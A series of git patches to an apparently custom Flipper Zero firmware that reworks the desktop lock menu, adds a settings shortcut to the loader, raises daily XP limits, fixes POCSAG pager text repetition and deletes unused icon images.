furi_hal_bt_stop_advertising(); - } - lock_menu->save_bt = true; - break; - case DesktopLockMenuIndexXtreme: - event = DesktopLockMenuEventXtreme; - break; - default: - break; + case DesktopLockMenuIndexLefthandedMode: + if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagHandOrient)) { + furi_hal_rtc_reset_flag(FuriHalRtcFlagHandOrient); + } else { + furi_hal_rtc_set_flag(FuriHalRtcFlagHandOrient); + } + break; + case DesktopLockMenuIndexSettings: + event = DesktopLockMenuEventSettings; + break; + case DesktopLockMenuIndexDarkMode: + XTREME_SETTINGS()->dark_mode = !XTREME_SETTINGS()->dark_mode; + lock_menu->save_xtreme = true; + break; + case DesktopLockMenuIndexLock: + event = DesktopLockMenuEventLock; + break; + case DesktopLockMenuIndexBluetooth: + lock_menu->bt->bt_settings.enabled = !lock_menu->bt->bt_settings.enabled; + if(lock_menu->bt->bt_settings.enabled) { + furi_hal_bt_start_advertising(); + } else { + furi_hal_bt_stop_advertising(); + } + lock_menu->save_bt = true; + break; + case DesktopLockMenuIndexXtreme: + event = DesktopLockMenuEventXtreme; + break; + default: + break; } if(event) { lock_menu->callback(event, lock_menu->context); @@ -253,20 +261,22 @@ bool desktop_lock_menu_input_callback(InputEvent* event, void* context) { if(offset) { float value; switch(idx) { - case DesktopLockMenuIndexBrightness: - value = lock_menu->notification->settings.display_brightness + 0.05 * offset; - lock_menu->notification->settings.display_brightness = value < 0.00f ? 0.00f : (value > 1.00f ? 1.00f : value); - lock_menu->save_notification = true; - notification_message(lock_menu->notification, &sequence_display_backlight_on); - break; - case DesktopLockMenuIndexVolume: - value = lock_menu->notification->settings.speaker_volume + 0.05 * offset; - lock_menu->notification->settings.speaker_volume = value < 0.00f ? 0.00f : (value > 1.00f ? 1.00f : value); - lock_menu->save_notification = true; - notification_message(lock_menu->notification, &sequence_note_c); - break; - default: - break; + case DesktopLockMenuIndexBrightness: + value = lock_menu->notification->settings.display_brightness + 0.05 * offset; + lock_menu->notification->settings.display_brightness = + value < 0.00f ? 0.00f : (value > 1.00f ? 1.00f : value); + lock_menu->save_notification = true; + notification_message(lock_menu->notification, &sequence_display_backlight_on); + break; + case DesktopLockMenuIndexVolume: + value = lock_menu->notification->settings.speaker_volume + 0.05 * offset; + lock_menu->notification->settings.speaker_volume = + value < 0.00f ? 0.00f : (value > 1.00f ? 1.00f : value); + lock_menu->save_notification = true; + notification_message(lock_menu->notification, &sequence_note_c); + break; + default: + break; } } } diff --git a/scripts/asset_packer.py b/scripts/asset_packer.py index 90ad824f8..0be4d4dd7 100755 --- a/scripts/asset_packer.py +++ b/scripts/asset_packer.py @@ -114,7 +114,14 @@ def pack( ) manifest = (source / "Anims/manifest.txt").read_bytes() for anim in re.finditer(rb"Name: (.*)", manifest): - anim = anim.group(1).decode().replace("\\", "/").replace("/", os.sep).replace("\r", "\n").strip() + anim = ( + anim.group(1) + .decode() + .replace("\\", "/") + .replace("/", os.sep) + .replace("\r", "\n") + .strip() + ) logger(f"Compile: anim for pack '{source.name}': {anim}") pack_anim(source / "Anims" / anim, packed / "Anims" / anim) From c9c2e1ce383cbb9ab89ad1a8165e402aa9f7129e Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Fri, 24 Mar 2023 22:08:55 +0000 Subject: [PATCH 257/329] Remove warning on disable rgb backlight --- .../xtreme_app/scenes/xtreme_app_scene_misc.c | 26 +++++++++---------- 1 file changed, 12 insertions(+), 14 deletions(-) diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_misc.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_misc.c index f52b8cb55..fcce9383a 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_misc.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_misc.c @@ -110,26 +110,24 @@ bool xtreme_app_scene_misc_on_event(void* context, SceneManagerEvent event) { scene_manager_next_scene(app->scene_manager, XtremeAppSceneMiscRename); break; case VarItemListIndexRgbBacklight: { - bool value = XTREME_SETTINGS()->rgb_backlight; - char* text; - if(value) { - text = "Disabling this requires\nremoving the hardware mod!\nIs it uninstalled?"; - } else { - text = - "This option requires installing\na hardware modification!\nIs it installed?"; + bool change = XTREME_SETTINGS()->rgb_backlight; + if(!change) { + DialogMessage* msg = dialog_message_alloc(); + dialog_message_set_header(msg, "RGB Backlight", 64, 0, AlignCenter, AlignTop); + dialog_message_set_buttons(msg, "No", NULL, "Yes"); + dialog_message_set_text(msg, "This option requires installing\na hardware modification!\nIs it installed?", 64, 32, AlignCenter, AlignCenter); + if(dialog_message_show(app->dialogs, msg) == DialogMessageButtonRight) { + change = true; + } + dialog_message_free(msg); } - DialogMessage* msg = dialog_message_alloc(); - dialog_message_set_header(msg, "RGB Backlight", 64, 0, AlignCenter, AlignTop); - dialog_message_set_buttons(msg, "No", NULL, "Yes"); - dialog_message_set_text(msg, text, 64, 32, AlignCenter, AlignCenter); - if(dialog_message_show(app->dialogs, msg) == DialogMessageButtonRight) { - XTREME_SETTINGS()->rgb_backlight = !value; + if(change) { + XTREME_SETTINGS()->rgb_backlight = !XTREME_SETTINGS()->rgb_backlight; app->save_settings = true; notification_message(app->notification, &sequence_display_backlight_on); scene_manager_previous_scene(app->scene_manager); scene_manager_next_scene(app->scene_manager, XtremeAppSceneMisc); } - dialog_message_free(msg); break; } default: From fc5f181d1141c480a49a4bff990d4a678e629f16 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Fri, 24 Mar 2023 22:10:31 +0000 Subject: [PATCH 258/329] Raise daily xp limits --- .../services/dolphin/helpers/dolphin_deed.c | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/applications/services/dolphin/helpers/dolphin_deed.c b/applications/services/dolphin/helpers/dolphin_deed.c index 2cbaf84a6..676e61774 100644 --- a/applications/services/dolphin/helpers/dolphin_deed.c +++ b/applications/services/dolphin/helpers/dolphin_deed.c @@ -43,13 +43,13 @@ static const DolphinDeedWeight dolphin_deed_weights[] = { }; static uint8_t dolphin_deed_limits[] = { - 20, // DolphinAppSubGhz - 20, // DolphinAppRfid - 20, // DolphinAppNfc - 20, // DolphinAppIr - 20, // DolphinAppIbutton - 20, // DolphinAppBadKb - 20, // DolphinAppPlugin + 69, // DolphinAppSubGhz + 69, // DolphinAppRfid + 69, // DolphinAppNfc + 69, // DolphinAppIr + 69, // DolphinAppIbutton + 69, // DolphinAppBadKb + 69, // DolphinAppPlugin }; _Static_assert(COUNT_OF(dolphin_deed_weights) == DolphinDeedMAX, "dolphin_deed_weights size error"); From 24d42a46aed96ded48b7eb5e9c463b4e446a6b01 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Fri, 24 Mar 2023 23:07:42 +0000 Subject: [PATCH 259/329] Fix POCSAG pager RIC: text repetition (#172) --- applications/external/pocsag_pager/protocols/pocsag.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/applications/external/pocsag_pager/protocols/pocsag.c b/applications/external/pocsag_pager/protocols/pocsag.c index ca210c2a4..cc393ac5b 100644 --- a/applications/external/pocsag_pager/protocols/pocsag.c +++ b/applications/external/pocsag_pager/protocols/pocsag.c @@ -157,7 +157,7 @@ static bool pocsag_decode_message_word(SubGhzProtocolDecoderPocsag* instance, ui // Function called when current message got decoded, but other messages might follow static void pocsag_message_done(SubGhzProtocolDecoderPocsag* instance) { // append the message to the long-term storage string - furi_string_cat_printf( + furi_string_printf( instance->generic.result_ric, "\e#RIC: %" PRIu32 "\e# | ", instance->ric); furi_string_cat_str(instance->generic.result_ric, func_msg[instance->func]); if(instance->func != POCSAG_FUNC_ALERT1) { From fb13943360ea8ee9560eb3bf3ed8f10dda1e8a61 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sat, 25 Mar 2023 00:25:06 +0000 Subject: [PATCH 260/329] Lock menu fix main settings button --- .../desktop/scenes/desktop_scene_lock_menu.c | 3 +-- applications/services/loader/loader.c | 16 +++++++++++++++- applications/services/loader/loader.h | 3 +++ firmware/targets/f7/api_symbols.csv | 1 + 4 files changed, 20 insertions(+), 3 deletions(-) diff --git a/applications/services/desktop/scenes/desktop_scene_lock_menu.c b/applications/services/desktop/scenes/desktop_scene_lock_menu.c index 244bc77ff..299d403e6 100644 --- a/applications/services/desktop/scenes/desktop_scene_lock_menu.c +++ b/applications/services/desktop/scenes/desktop_scene_lock_menu.c @@ -102,8 +102,7 @@ bool desktop_scene_lock_menu_on_event(void* context, SceneManagerEvent event) { // break; case DesktopLockMenuEventSettings: - // loader_start(desktop->loader, "Settings", NULL); - // view_dispatcher_switch_to_view(desktop->loader->view_dispatcher, LoaderMenuViewSettings); + loader_show_settings(); consumed = true; break; diff --git a/applications/services/loader/loader.c b/applications/services/loader/loader.c index 219a649a9..988b0a0b7 100644 --- a/applications/services/loader/loader.c +++ b/applications/services/loader/loader.c @@ -14,7 +14,8 @@ #define TAG "LoaderSrv" #define LOADER_THREAD_FLAG_SHOW_MENU (1 << 0) -#define LOADER_THREAD_FLAG_ALL (LOADER_THREAD_FLAG_SHOW_MENU) +#define LOADER_THREAD_FLAG_SHOW_SETTINGS (1 << 1) +#define LOADER_THREAD_FLAG_ALL (LOADER_THREAD_FLAG_SHOW_MENU | LOADER_THREAD_FLAG_SHOW_SETTINGS) static Loader* loader_instance = NULL; @@ -497,6 +498,11 @@ void loader_show_menu() { furi_thread_flags_set(loader_instance->loader_thread, LOADER_THREAD_FLAG_SHOW_MENU); } +void loader_show_settings() { + furi_assert(loader_instance); + furi_thread_flags_set(loader_instance->loader_thread, LOADER_THREAD_FLAG_SHOW_SETTINGS); +} + void loader_update_menu() { menu_reset(loader_instance->primary_menu); loader_build_menu(); @@ -531,6 +537,14 @@ int32_t loader_srv(void* p) { view_dispatcher_switch_to_view( loader_instance->view_dispatcher, LoaderMenuViewPrimary); view_dispatcher_run(loader_instance->view_dispatcher); + } else if(flags & LOADER_THREAD_FLAG_SHOW_SETTINGS) { + view_set_previous_callback( + submenu_get_view(loader_instance->settings_menu), loader_hide_menu); + view_dispatcher_switch_to_view( + loader_instance->view_dispatcher, LoaderMenuViewSettings); + view_dispatcher_run(loader_instance->view_dispatcher); + view_set_previous_callback( + submenu_get_view(loader_instance->settings_menu), loader_back_to_primary_menu); } } diff --git a/applications/services/loader/loader.h b/applications/services/loader/loader.h index 32eb068e5..58516b339 100644 --- a/applications/services/loader/loader.h +++ b/applications/services/loader/loader.h @@ -50,6 +50,9 @@ bool loader_is_locked(const Loader* instance); /** Show primary loader */ void loader_show_menu(); +/** Show settings menu */ +void loader_show_settings(); + /** Show primary loader */ void loader_update_menu(); diff --git a/firmware/targets/f7/api_symbols.csv b/firmware/targets/f7/api_symbols.csv index 0963fad50..1a12551d6 100644 --- a/firmware/targets/f7/api_symbols.csv +++ b/firmware/targets/f7/api_symbols.csv @@ -1894,6 +1894,7 @@ Function,+,loader_get_pubsub,FuriPubSub*,Loader* Function,+,loader_is_locked,_Bool,const Loader* Function,+,loader_lock,_Bool,Loader* Function,+,loader_show_menu,void, +Function,+,loader_show_settings,void, Function,+,loader_start,LoaderStatus,"Loader*, const char*, const char*" Function,+,loader_unlock,void,Loader* Function,+,loader_update_menu,void, From 3d1a4c73fdeb21e91e3fe0961fa219b71bd45afa Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sat, 25 Mar 2023 00:29:50 +0000 Subject: [PATCH 261/329] Readd lock with pin menu event --- .../desktop/scenes/desktop_scene_lock_menu.c | 64 +++++-------------- .../services/desktop/views/desktop_events.h | 1 + 2 files changed, 17 insertions(+), 48 deletions(-) diff --git a/applications/services/desktop/scenes/desktop_scene_lock_menu.c b/applications/services/desktop/scenes/desktop_scene_lock_menu.c index 299d403e6..120f48b55 100644 --- a/applications/services/desktop/scenes/desktop_scene_lock_menu.c +++ b/applications/services/desktop/scenes/desktop_scene_lock_menu.c @@ -46,78 +46,46 @@ bool desktop_scene_lock_menu_on_event(void* context, SceneManagerEvent event) { bool consumed = false; if(event.type == SceneManagerEventTypeTick) { - int check_pin_changed = + bool check_pin_changed = scene_manager_get_scene_state(desktop->scene_manager, DesktopSceneLockMenu); if(check_pin_changed) { DESKTOP_SETTINGS_LOAD(&desktop->settings); if(desktop->settings.pin_code.length > 0) { desktop_lock_menu_set_pin_state(desktop->lock_menu, true); scene_manager_set_scene_state(desktop->scene_manager, DesktopSceneLockMenu, 0); - if(check_pin_changed == 2) { - desktop_pin_lock(&desktop->settings); - desktop_lock(desktop); - Power* power = furi_record_open(RECORD_POWER); - furi_delay_ms(666); - power_off(power); - furi_record_close(RECORD_POWER); - } } } } else if(event.type == SceneManagerEventTypeCustom) { switch(event.event) { - // case DesktopLockMenuEventPinLock: - // if(desktop->settings.pin_code.length > 0) { - // desktop_pin_lock(&desktop->settings); - // desktop_lock(desktop); - // } else { - // LoaderStatus status = - // loader_start(desktop->loader, "Desktop", DESKTOP_SETTINGS_RUN_PIN_SETUP_ARG); - // if(status == LoaderStatusOk) { - // scene_manager_set_scene_state(desktop->scene_manager, DesktopSceneLockMenu, 1); - // } else { - // FURI_LOG_E(TAG, "Unable to start desktop settings"); - // } - // } - // consumed = true; - // break; - - // case DesktopLockMenuEventPinLockShutdown: - // if(desktop->settings.pin_code.length > 0) { - // desktop_pin_lock(&desktop->settings); - // desktop_lock(desktop); - // Power* power = furi_record_open(RECORD_POWER); - // furi_delay_ms(666); - // power_off(power); - // furi_record_close(RECORD_POWER); - // } else { - // LoaderStatus status = - // loader_start(desktop->loader, "Desktop", DESKTOP_SETTINGS_RUN_PIN_SETUP_ARG); - // if(status == LoaderStatusOk) { - // scene_manager_set_scene_state(desktop->scene_manager, DesktopSceneLockMenu, 2); - // } else { - // FURI_LOG_E(TAG, "Unable to start desktop settings"); - // } - // } - // consumed = true; - // break; - case DesktopLockMenuEventSettings: loader_show_settings(); consumed = true; break; - case DesktopLockMenuEventLock: scene_manager_set_scene_state(desktop->scene_manager, DesktopSceneLockMenu, 0); desktop_lock(desktop); consumed = true; break; - + case DesktopLockMenuEventLockPin: + if(desktop->settings.pin_code.length > 0) { + desktop_pin_lock(&desktop->settings); + desktop_lock(desktop); + } else { + LoaderStatus status = + loader_start(desktop->loader, "Desktop", DESKTOP_SETTINGS_RUN_PIN_SETUP_ARG); + if(status == LoaderStatusOk) { + scene_manager_set_scene_state(desktop->scene_manager, DesktopSceneLockMenu, 1); + } else { + FURI_LOG_E(TAG, "Unable to start desktop settings"); + } + } + consumed = true; + break; case DesktopLockMenuEventXtreme: loader_start( desktop->loader, FAP_LOADER_APP_NAME, EXT_PATH("apps/.Main/xtreme_app.fap")); consumed = true; break; - default: break; } diff --git a/applications/services/desktop/views/desktop_events.h b/applications/services/desktop/views/desktop_events.h index 34276041a..e3d4e2d7b 100644 --- a/applications/services/desktop/views/desktop_events.h +++ b/applications/services/desktop/views/desktop_events.h @@ -41,6 +41,7 @@ typedef enum { DesktopLockMenuEventSettings, DesktopLockMenuEventLock, + DesktopLockMenuEventLockPin, DesktopLockMenuEventXtreme, DesktopAnimationEventCheckAnimation, From f0df68248b982eae933c27d3edebb76f740f83c2 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sat, 25 Mar 2023 00:44:13 +0000 Subject: [PATCH 262/329] Remove unused icons --- applications/external/nightstand/application.fam | 1 - applications/main/archive/application.fam | 1 - assets/icons/MainMenu/Clock_14/frame_01.png | Bin 173 -> 0 bytes assets/icons/MainMenu/Clock_14/frame_02.png | Bin 176 -> 0 bytes assets/icons/MainMenu/Clock_14/frame_03.png | Bin 175 -> 0 bytes assets/icons/MainMenu/Clock_14/frame_04.png | Bin 175 -> 0 bytes assets/icons/MainMenu/Clock_14/frame_05.png | Bin 172 -> 0 bytes assets/icons/MainMenu/Clock_14/frame_06.png | Bin 175 -> 0 bytes assets/icons/MainMenu/Clock_14/frame_07.png | Bin 175 -> 0 bytes assets/icons/MainMenu/Clock_14/frame_08.png | Bin 178 -> 0 bytes assets/icons/MainMenu/Clock_14/frame_rate | 1 - assets/icons/MainMenu/Debug_14/frame_01.png | Bin 3704 -> 0 bytes assets/icons/MainMenu/Debug_14/frame_02.png | Bin 3713 -> 0 bytes assets/icons/MainMenu/Debug_14/frame_03.png | Bin 3716 -> 0 bytes assets/icons/MainMenu/Debug_14/frame_04.png | Bin 3717 -> 0 bytes assets/icons/MainMenu/Debug_14/frame_rate | 1 - .../icons/MainMenu/FileManager_14/frame_01.png | Bin 102 -> 0 bytes .../icons/MainMenu/FileManager_14/frame_02.png | Bin 103 -> 0 bytes .../icons/MainMenu/FileManager_14/frame_03.png | Bin 97 -> 0 bytes .../icons/MainMenu/FileManager_14/frame_04.png | Bin 97 -> 0 bytes .../icons/MainMenu/FileManager_14/frame_05.png | Bin 97 -> 0 bytes .../icons/MainMenu/FileManager_14/frame_06.png | Bin 85 -> 0 bytes .../icons/MainMenu/FileManager_14/frame_07.png | Bin 97 -> 0 bytes .../icons/MainMenu/FileManager_14/frame_08.png | Bin 97 -> 0 bytes .../icons/MainMenu/FileManager_14/frame_09.png | Bin 97 -> 0 bytes .../icons/MainMenu/FileManager_14/frame_10.png | Bin 103 -> 0 bytes assets/icons/MainMenu/FileManager_14/frame_rate | 1 - 27 files changed, 5 deletions(-) delete mode 100644 assets/icons/MainMenu/Clock_14/frame_01.png delete mode 100644 assets/icons/MainMenu/Clock_14/frame_02.png delete mode 100644 assets/icons/MainMenu/Clock_14/frame_03.png delete mode 100644 assets/icons/MainMenu/Clock_14/frame_04.png delete mode 100644 assets/icons/MainMenu/Clock_14/frame_05.png delete mode 100644 assets/icons/MainMenu/Clock_14/frame_06.png delete mode 100644 assets/icons/MainMenu/Clock_14/frame_07.png delete mode 100644 assets/icons/MainMenu/Clock_14/frame_08.png delete mode 100644 assets/icons/MainMenu/Clock_14/frame_rate delete mode 100644 assets/icons/MainMenu/Debug_14/frame_01.png delete mode 100644 assets/icons/MainMenu/Debug_14/frame_02.png delete mode 100644 assets/icons/MainMenu/Debug_14/frame_03.png delete mode 100644 assets/icons/MainMenu/Debug_14/frame_04.png delete mode 100644 assets/icons/MainMenu/Debug_14/frame_rate delete mode 100644 assets/icons/MainMenu/FileManager_14/frame_01.png delete mode 100644 assets/icons/MainMenu/FileManager_14/frame_02.png delete mode 100644 assets/icons/MainMenu/FileManager_14/frame_03.png delete mode 100644 assets/icons/MainMenu/FileManager_14/frame_04.png delete mode 100644 assets/icons/MainMenu/FileManager_14/frame_05.png delete mode 100644 assets/icons/MainMenu/FileManager_14/frame_06.png delete mode 100644 assets/icons/MainMenu/FileManager_14/frame_07.png delete mode 100644 assets/icons/MainMenu/FileManager_14/frame_08.png delete mode 100644 assets/icons/MainMenu/FileManager_14/frame_09.png delete mode 100644 assets/icons/MainMenu/FileManager_14/frame_10.png delete mode 100644 assets/icons/MainMenu/FileManager_14/frame_rate diff --git a/applications/external/nightstand/application.fam b/applications/external/nightstand/application.fam index ea28c7b77..1fb572054 100644 --- a/applications/external/nightstand/application.fam +++ b/applications/external/nightstand/application.fam @@ -4,7 +4,6 @@ App( apptype=FlipperAppType.EXTERNAL, entry_point="clock_app", requires=["gui"], - icon="A_Clock_14", stack_size=2 * 1024, fap_icon="clock.png", fap_category="Misc", diff --git a/applications/main/archive/application.fam b/applications/main/archive/application.fam index 309cee8d5..c7e701653 100644 --- a/applications/main/archive/application.fam +++ b/applications/main/archive/application.fam @@ -6,6 +6,5 @@ App( cdefines=["APP_ARCHIVE"], requires=["gui"], stack_size=6 * 1024, - icon="A_FileManager_14", order=0, ) diff --git a/assets/icons/MainMenu/Clock_14/frame_01.png b/assets/icons/MainMenu/Clock_14/frame_01.png deleted file mode 100644 index 80193281a8efa10211f74f30bdfe71760d8ac7bd..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 173 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}>7Fi*AsQ2V zgBUv5vMm7l2NEDaAMDTX6QCb+n`_-+(hS!Z?m*mCb%uim8i2fokS z*O~RI+kfG2*6fm(msXU$sFdEl@b4#ZGWG-Ll VF6l4kcM51FgQu&X%Q~loCIF8|LCF9B diff --git a/assets/icons/MainMenu/Clock_14/frame_02.png b/assets/icons/MainMenu/Clock_14/frame_02.png deleted file mode 100644 index 7eb0f8bef9a8c3ba711ad05678ed93619db2647c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 176 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}S)MMAAsQ1~ zCwcQR7;-o*eEE0%nKjEchFzKa;8wAZN3-lF zx%Yo~w`!73`98O`R+cMRtzR&%mYwV8IqO&#>p9ujt0%WF-j)92t!4Y~t83m%oSAF& ZgSorMOKw&Y+YO+t44$rjF6*2UngE+`LplHe diff --git a/assets/icons/MainMenu/Clock_14/frame_03.png b/assets/icons/MainMenu/Clock_14/frame_03.png deleted file mode 100644 index 5d4e6243ba7c2ca17645f6ea2484bd3255b8bf68..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 175 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}nVv3=AsQ1~ zgB{=ff>U+$WTFMV4Ug?R~iO>pUVV`NBC_g}J7&Tq@ZhjX^sXjz;M|ESgH zHRD-vMW4?b?#)im>mFs6&i;5%rSr+F0=XUkU&P%ly1mM}P569~%FXDv71xr=e+k#e XWqV1zn{O5ew3NZq)z4*}Q$iB}Fn~hf diff --git a/assets/icons/MainMenu/Clock_14/frame_04.png b/assets/icons/MainMenu/Clock_14/frame_04.png deleted file mode 100644 index 8578a5a730f9dc74c02f396a5654d7d1b1bdb92d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 175 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}nVv3=AsQ1~ zgB|a?bm8SoDf`81q%P>KuVaI)$KYNqCZWq{O{o=`&Wqs)+Q@_P>a^5p` YrQ2RIB8i4+KuZ}sUHx3vIVCg!0ARa8LI3~& diff --git a/assets/icons/MainMenu/Clock_14/frame_05.png b/assets/icons/MainMenu/Clock_14/frame_05.png deleted file mode 100644 index 9c50fe469ad9e07cc06c2bae4babc0ed0048bc41..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 172 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}X`U{QAsQ1~ zgB1r35 Us7J3i0c~XPboFyt=akR{0Iy^|*Z=?k diff --git a/assets/icons/MainMenu/Clock_14/frame_06.png b/assets/icons/MainMenu/Clock_14/frame_06.png deleted file mode 100644 index 4fe0f2c6394cefc5c4bdafc8782253302a6b183c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 175 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}nVv3=AsQ2V zgB-aS963(S_+Nk1R<|SjY}I8EZYIxZ3=WoOf=Y9+it1RTvsBADx`>D%@!A4=>O4yXMUKR($X5 z)27V*N9KR|_3c8&og;nOSFZPot9z>a_bQ6D+`06NRo|?>hwZP6RgOl#{qr%+|JE7# YzF;q@&)e7D1zO7B>FVdQ&MBb@0PfdEMF0Q* diff --git a/assets/icons/MainMenu/Clock_14/frame_08.png b/assets/icons/MainMenu/Clock_14/frame_08.png deleted file mode 100644 index baffdaa70bcc93bac709b77afe0b3a45ba1af6f9..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 178 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 